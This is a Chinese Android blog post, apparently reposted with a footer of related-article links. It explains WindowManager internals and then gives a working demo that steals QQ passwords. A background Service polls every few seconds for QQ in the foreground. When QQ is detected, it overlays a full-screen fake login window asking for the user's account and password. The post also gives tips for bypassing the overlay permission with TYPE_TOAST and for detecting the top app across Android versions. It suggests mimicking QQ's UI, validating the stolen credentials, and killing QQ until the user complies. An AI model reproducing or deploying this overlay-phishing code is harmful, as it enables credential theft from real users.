最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台 Service,检测当前顶部应用,如果为 QQ 或相关应用,就弹出一个自定义 window 用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个 demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =):
            

这里写图片描述

  demo 地址:github.com/zhaozepeng/…             

Window&&WindowManager介绍

  分析 demo 之前,先要整理总结一下相关的知识。先看看 Window 类,Window 是一个抽象类,位于代码树 frameworks/android/view/Window.java 文件。连同注释,这个文件总共一千多行,它概括了 Android 窗口的基本属性和基本功能。唯一实现了这个抽象类的是 PhoneWindow,实例化 PhoneWindow 需要一个窗口,只需要通过 WindowManager 即可完成,Window 类的具体实现位于 WindowManagerService中,WindowManager 和 WindowManagerService 的交互是一个 IPC 过程。Android 中的所有视图都是通过 Window 来呈现的,不管是 Activity,Dialog 还是 Toast,他们的视图实际上都是附加在 Window 上的,因此 Window 实际上是 View 的直接管理者,点击事件也是由 Window 传递给 view 的。WindowManager.LayoutParams.type 参数表示 window 的类型,共有三种类型,分别是应用 Window,子 Window 和系统 Window。应用 Window 对应着一个 Activity,类似 Dialog 之类的子 Window 不能单独存在,他需要附属在应用 Window 上才可以,系统 Window 则不需要,比如 Toast 之类,可以直接显示。每个 Window 都有对应的 z-orderd,层级大的 Window 会覆盖在层级小的 Window 之上,应用 Window 的层级范围是 1~99,子 Window 的范围是 1000~1999,系统 Window 的范围是 2000~2999,这些层级范围都对应着相关的 type,type 的相关取值:官网链接和中文资料。WindowManager.LayoutParams.flags 参数表示 Window 的属性,默认为 none,flags 的相关取值:官方链接,还有其他的 LayoutParams 变量名称和取值可以参考 WindowManager.LayoutParams(上) 和 WindowManager.LayoutParams(下) 两篇译文博客,很详细。
  再详细分析一下 WindowManager,WindowManager 主要用来管理窗口的一些状态、属性、view 增加、删除、更新、窗口顺序、消息收集和处理等。通过代码 Context.getSystemService(Context.WINDOW_SERVICE)可 以获得 WindowManager 的实例。WindowManager 所提供的功能很简单,常用的只有三个方法,即添加 View、更新 View 和删除 View,这三个方法定义在 ViewManager 中,而 WindowManager 继承了 ViewManager,

  • addView();
  • updateViewLayout();
  • removeView();

  这些函数是用来修改 Window 的,它的真正实现是 WindowManagerImpl 类,WindowManagerImpl 这种工作模式是典型的桥接模式,Window 为抽象部分,WindowManagerImpl 为实现部分。WindowManagerImpl 类并没有直接实现 Window 的三大操作,而是全部交给了 WindowManagerGlobal 来处理,WindowManagerGlobal 以单例模式 的形式向外提供自己的实例,在 WindowManagerGlobal 中有如下一段代码:

private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()复制代码

将所有的操作全部交给 WindowManagerGlobal 来实现,后续的分析感兴趣的可以看看我的博客: java/android 设计模式学习笔记(8)---桥接模式。
  View 是 Android 中视图的呈现方式,但是 View 不能单独存在,他必须要附着在 Window 这个抽象的概念上面,每一个 Window 都对应着一个 View 和一个 ViewRootImpl,Window 和 View 通过 ViewRootImpl 来建立联系,因此有视图的地方就有 Window,比如常见的 Activity,Dialog,Toast 等,简化的关系如下所示:

这里写图片描述

  对于每个 activity 只有一个 decorView 也就是 ViewRoot,window 是通过下面方法获取的

Window mWindow = PolicyManager.makeNewWindow(this);复制代码

创建完 Window 之后,activity 会为该 Window 设置回调,Window 接收到外界状态改变时就会回调到 activity 中。在 activity 中会调用 setContentView() 函数,它是调用 window.setContentView() 完成的,而 Window 的具体实现是 PhoneWindow,所以最终的具体操作是在 PhoneWindow 中,PhoneWindow 的 setContentView 方法第一步会检测 DecorView 是否存在,如果不存在,就会调用 generateDecor 函数直接创建一个 DecorView;第二步就是将 activity 的视图添加到 DecorView 的 mContentParent 中;第三步是回调 activity 中的 onContentChanged 方法通知 activity 视图已经发生改变。这些步骤完成之后,DecorView 还没有被 WindowManager 正式添加到 Window 中,最后调用 Activity 的 onResume 方法中的 makeVisible 方法才能真正地完成添加和现实过程,activity 的视图才能被用户看到。对 Activity 的启动过程和 Window 的创建过程感兴趣的可以看看我的这篇博客android 不能在子线程中更新ui的讨论和分析。
  Dialog Window 的创建过程和 Activity 类似,第一步也是用 PolicyManager.makeNewWindow 方法来创建一个 Window,不过这里传入的 Context 必须要为 Activity 的 context;第二步也是通过 setContentView 函数去设置 dialog 的布局视图;第三步调用 show 方法,通过 WindowManager 将 DecorView 添加到 Window 中显示出来。
  Toast 和 Dialog 不同,它稍微复杂一点,首先 Toast 也是基于 Window 来实现的,但是由于 Toast 具有定时取消的这一个功能,所以系统采用了 Handler。在 Toast 的内部有两类 IPC 过程,第一类是 Toast 访问 NotificationManagerService,第二类是 NotificationManagerService 回调 Toast 里的 TN 接口。在 Toast 类中,最重要的用于显示该 toast 的 show 方法调用了 service.enqueueToast(pkg, tn, mDuration);也就是说系统为我们维持了一个 toast 队列,这也是为什么两个 toast 不会同时显示的原因,该方法将一个 toast 入队,显示则由系统维持显示的时机。

private static INotificationManager sService;
static private INotificationManager getService() {if (sService != null) {return sService;}sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));return sService;
}复制代码

该服务 sService 就是系统用于维护 toast 的服务。最后 NMS 会通过 IPC 调用 Toast 类内部的一个静态私有类 TN,该类是 toast 的主要实现,该类完成了 toast 视图的创建,显示和隐藏。
  网上介绍 WindowManager 的博客很多,都写得很好的,要具体了解的可以结合看看源码:

blog.csdn.net/chenyafei61…)
www.tuicool.com/articles/fq…
blog.csdn.net/xieqibao/ar…
www.cnblogs.com/xiaoQLu/arc…  

相关资料太多了,感兴趣的可以看看源码。

骗取QQ密码实例

  有了上面的基础之后,这个例子其实就非常简单了。
  第一步编写一个 Service 并且在 Service 中弹出一个自定义的 Window:

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {@Overridepublic void backCallback() {if (v!=null && v.isAttachedToWindow())L.e("remove view ");windowManager.removeViewImmediate(v);}
});btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {@Overridepublic void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {if (isChecked) {et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());} else {et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());}et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?0 : et_pwd.getText().length());}
});//useless
//        v.setOnKeyListener(new View.OnKeyListener() {//            @Override
//            public boolean onKey(View v, int keyCode, KeyEvent event) {//                Log.e("zhao", keyCode+"");
//                if (keyCode == KeyEvent.KEYCODE_BACK) {//                    windowManager.removeViewImmediate(v);
//                    return true;
//                }
//                return false;
//            }
//        });//点击外部消失
v.setOnTouchListener(new View.OnTouchListener() {@Overridepublic boolean onTouch(View view, MotionEvent event) {Rect temp = new Rect();view.getGlobalVisibleRect(temp);L.e("remove view ");if (temp.contains((int)(event.getX()), (int)(event.getY()))){windowManager.removeViewImmediate(v);return true;}return false;}
});btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);复制代码

  这里有几点需要说明一下,

  • 对悬浮窗权限的详细介绍请看我的另一篇博客: Android 悬浮窗各机型各系统适配大全;
  • 第一个是 type 使用 TYPE_TOAST 而不是用 TYPE_SYSTEM_ERROR 是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈,但是因为在这个 Window 中有 edittext 控件,如果设置为 toast,软键盘是没法把布局顶上去的,只有 TYPE_SYSTEM_ERROR 可以将布局顶上去,如果想用 toast 绕过权限,布局就得自己精心去设计了;
  • 第二个是因为有 Edittext,所以 softInputMode 需要设置为 SOFT_INPUT_ADJUST_PAN,要不然软键盘会覆盖 Window;
  • 第三个是返回键的监听,setOnKeyListener 是不好用的,最后只能复写 View 类的 dispatchKeyEvent 函数来实现按键监听了;
  • 第四个是点击外部消失的操作,看代码就会明白了;
  • 第五个,获取顶部应用的权限问题,在这里非常感谢 @android_jiajia 朋友,提醒了一下,在 5.0 之前,5.0~5.1.1,5.1.1 之后获取顶部应用的方式其实是不一样的,getTopActivityBeforeL(),getTopActivityBeforeLMAfterL(),getTopActivityAfterLM(),特别要说明的是 LM 版本之后如果要去获取顶部应用使用的 getAppTasks 方法时需要用户手动去开启权限的,但是这不就暴露了么,刚开始找到了一个 github 库去解决 github.com/jaredrummle… android 底层还是linux内核,所以 /proc 的系统目录下会有进程的相关信息,原理就是基于此,但是最后依旧获取不到顶部的应用,最后没办法了,只能够使用动态申请权限的方案了 PACKAGE_USAGE_STATS。
  • 第六个是在 6.0 的系统上,单单 Manifest 静态注册是不管用的,直接使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 是会直接崩溃,具体可以看看我的这篇博客 android permission权限与安全机制解析(下),这个我在代码中也做好了适配。不过好消息是使用第一条我介绍的 TYPE_TOAST 依旧是可以绕过权限的,软键盘覆盖问题其实可以把布局挪上去就可以了。

  实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是 QQ,这个就简单多了,使用 ActivityManager 就可以了:

new Thread(new Runnable() {@Overridepublic void run() {while (isRunning){L.e("running");try {Thread.sleep(3000);} catch (InterruptedException e) {e.printStackTrace();}if (isAppForground("com.tencent.mobileqq")){myHandler.sendEmptyMessage(1);}}}
}).start();复制代码

  获取顶部应用适配方法

private boolean isAppForeground(String appName){if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){return appName.equals(getTopActivityBeforeL());}else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){return appName.equals(getTopActivityAfterLM());}else{return appName.equals(getTopActivityBeforeLMAfterL());}
}//5.0之前可以使用getRunningAppProcesses()函数获取
private String getTopActivityBeforeL(){ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();return taskInfo.get(0).processName;
}//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
//processState只能在21版本之后使用
private String getTopActivityBeforeLMAfterL() {final int PROCESS_STATE_TOP = 2;Field field = null;ActivityManager.RunningAppProcessInfo currentInfo = null;try {field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");} catch (Exception ignored) {}ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND&& processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {Integer state = null;try {state = field.getInt(processInfo);} catch (Exception e) {}if (state != null && state == PROCESS_STATE_TOP) {currentInfo = processInfo;break;}}}return currentInfo!=null ? currentInfo.processName : null;
}//注:6.0之后此方法也不太好用了
//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
//    private String getTopActivityAfterLM(){//        ActivityManager.RunningAppProcessInfo topActivity =
//                ProcessManager.getRunningAppProcessInfo(this).get(0);
//        return topActivity.processName;
//    }@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private String getTopActivityAfterLM() {try {UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);long milliSecs = 60 * 1000;Date date = new Date();List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());if (queryUsageStats.size() <= 0) {return null;}long recentTime = 0;String recentPkg = "";for (int i = 0; i < queryUsageStats.size(); i++) {UsageStats stats = queryUsageStats.get(i);if (stats.getLastTimeStamp() > recentTime) {recentTime = stats.getLastTimeStamp();recentPkg = stats.getPackageName();}}return recentPkg;} catch (Exception e) {e.printStackTrace();}return "";
}复制代码

  PS:小米手机的 ROM 官方禁止了这些行为,不管是 getRunningAppProcesses,getRunningTasks,和 ProcessManager 都只能返回自己和系统应用的列表,怎么搞?
www.miui.com/forum.php?m…
更新,不光这样,在最新版本的小米 ROM 中,Manifest 文件中申请了

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />复制代码

权限,使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 还是无法弹出 Window,小米 ROM 需要特殊处理一下,具体的可以看看我的一个开源项目:Android 悬浮窗权限各机型各系统适配大全,大家感兴趣的可以参与进来。
  这样效果就差不多了,最后在Activity中启动该Service即可,当然这个还有很多改进的余地:
   1. 修改 UI,使之更加的和 QQ 风格相似。
  2. 用户输入完账号和密码之后,可以 addView 一个 loadingDialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。
   3. 如果用户不输入账号和密码,直接调用 killBackgrondProcess 函数(需要权限),强硬的把 QQ 关闭,直到用户输入账号和密码。
  当然了,这只是学习知识而已,大家开心就好啊  ̄ˍ ̄。

Android WindowManager 解析与骗取 QQ 密码案例分析相关推荐

  1. oauth password模式_史上最干的Oauth案例分析

    一.什么是Oauth2 OAuth 2.0是目前最流行的授权机制,用来授权第三方应用,获取用户数据,访问用户资源. 1.授权码模式的第三方登录架构 client:第三方应用.eg:使用qq 或者微信 ...

  2. 视频教程-2020年软考网络规划设计师案例分析历年真题详解软考视频教程-软考

    2020年软考网络规划设计师案例分析历年真题详解软考视频教程 10年以上软考培训经验,线下培训学员过万人.培训过的课程有:网络规划设计师.网络工程师.信 息系统项目管理师.系统集成项目管理师.信息安全 ...

  3. Android(java)学习笔记155:中文乱码的问题处理(qq登录案例)

    1. 我们在之前的笔记中LoginServlet.java中,我们Tomcat服务器回复给客户端的数据是英文的"Login Success","Login Failed& ...

  4. Android开发保存QQ密码

    Android开发保存QQ密码 技术要点: 使用文件储存的方式保存数据 实现步骤 ①用户交互界面的设计与实现 ②工具类(FileSaveQQjava )的设计与实现 ③界面逻辑代码的设计与实现 页面布 ...

  5. android移动应用基础教程--qq账号与密码

    android移动应用基础教程--qq账号与密码 android移动应用基础教程p115案例 实战演练-保存QQ账号密码. activity_main.xml <?xml version=&qu ...

  6. Android 保存QQ密码(数据存储:文件存储、SharedPreferences)

    源码[工程文件]:https://gitee.com/lwx001/saveQQ MainActivity.java: package cn.lwx.saveqq;import android.os. ...

  7. Android(数据存储:文件存储、SharedPreferences)验证QQ密码

    前情提要1 :静态页面-简易QQ登录页面(纯activity_main.xml页面) [https://blog.csdn.net/weixin_44949135/article/details/10 ...

  8. 开发android项目实战,Android 项目实战:手机安全卫士开发案例解析

    Android 项目实战:手机安全卫士开发案例解析 作 者:王家林,王家俊,王家虎 出版时间:2013 丛编项:移动互联应用开发系列 内容简介 本书通过对一款手机安全卫士开发案例的详细解析,讲解了一个 ...

  9. Android实战-忘记密码案例

    需求描述 各家电商App的登陆页面大同小异,要么是用户名与密码组合等等,要么是手机号码和验证码组合登录,若是做好一点的,则会提供找回密码与记住密码功能.先来看一下登录页面是什么样,因为有两种组合登陆方 ...

最新文章

  1. svn文件夹不显示绿色勾的解决方法
  2. java新建常量_【Java】常量 - 每日坚果的个人空间 - OSCHINA - 中文开源技术交流社区...
  3. c从sqlite3数据库中获取数据,并对数据进行拼接
  4. mysql迁移之后读取速度变慢_如何解决数据库迁移之后变慢的问题
  5. 【README2】动态规划之斐波那契数列说明重叠子问题如何解决
  6. 系统学习机器学习之随机场(二)--MEMM
  7. 有关科学计算方面的python解决
  8. 模糊综合评价(清风建模学习笔记)
  9. Xshell6 安装包下载
  10. 使用PS蒙版功能去水印以及Word中的图片合并功能合并公司Logo图片
  11. java星座出生日期_求一个会java fx的大神 编写一个输入日期输出星座的代码 急急急...
  12. Deeplink最全解析
  13. PMP项目管理-项目成本管理(3)
  14. TR单据自动生成TO单并确认
  15. linux命令删除raid,甲秀之音-Linux环境下删除硬盘中残留的raid信息
  16. 静态代码块、构造代码块、构造函数、普通代码块的区别
  17. 西风多少恨,吹不散眉弯
  18. 深入浅出FE(十四)深入浅出websocket
  19. Ansys Speos | 新型计算方法:使用 GPU 提升计算速率
  20. Unity 曲线和弹力算法

热门文章

  1. 模式识别之数字识别---扑克牌识别
  2. PowerShell_5_零基础自学课程_5_自定义PowerShell环境及Powershell中的基本概念
  3. C# 获取几种路径的方式
  4. 黄聪:C# 反射入门知识
  5. 匿名块 块内实体的修改
  6. 视野逐渐变暗之跳转场景
  7. MATLAB 的条件分支语句
  8. 流程文件外发同步及加密
  9. 【转】关于 SELECT /*!40001 SQL_NO_CACHE */ * FROM 的解惑
  10. Linux_IPtables防火墙详解